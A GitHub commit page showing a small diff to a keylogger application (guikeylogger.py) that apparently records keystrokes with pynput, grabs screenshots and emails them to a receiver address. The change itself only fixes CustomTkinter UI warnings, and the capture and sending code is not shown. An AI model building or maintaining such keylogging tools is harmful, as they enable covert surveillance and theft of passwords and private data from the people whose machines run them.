Skip to content

Commit 9f5a2b9

Browse files
Fix CTkLabel image warning and CTkEntry state access in CustomTkinter UI
1 parent 94d2a2b commit 9f5a2b9

1 file changed

Lines changed: 7 additions & 5 deletions

File tree

app/guikeylogger.py

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@
1616
from urllib.request import urlopen
1717

1818
from PIL import ImageGrab, Image, ImageTk
19-
from customtkinter import CTk, CTkLabel, CTkFrame, CTkEntry, CTkButton, set_appearance_mode
19+
from customtkinter import CTk, CTkLabel, CTkFrame, CTkEntry, CTkButton, set_appearance_mode,CTkImage
2020
from dotenv import load_dotenv
2121
from pynput.keyboard import Listener
2222

@@ -172,11 +172,13 @@ def start_logger():
172172
def on_button_click():
173173
global state, toAddr, listener, stopFlag, receiver_entry, btnStr
174174
toAddr = receiver_entry.get()
175-
if receiver_entry['state'] == 'normal':
176-
receiver_entry['state'] = 'disabled'
175+
176+
current_state = receiver_entry.cget("state")
177+
if current_state == 'normal':
178+
receiver_entry.configure(state="disabled")
177179
btnStr.set("Starting...")
178180
else:
179-
receiver_entry['state'] = 'normal'
181+
receiver_entry.configure(state="normal")
180182
btnStr.set("Stopping...")
181183
if state == 0:
182184
state = 1
@@ -212,7 +214,7 @@ def on_button_click():
212214
# Display an image
213215
image = Image.open('cracking.png')
214216
resize_image = image.resize((300, 300))
215-
img = ImageTk.PhotoImage(resize_image)
217+
img = CTkImage(light_image=resize_image, size=(300, 300))
216218
icon = CTkLabel(main_frame, image=img, text="")
217219
icon.pack(pady=(20, 0))
218220

0 commit comments

Comments
 (0)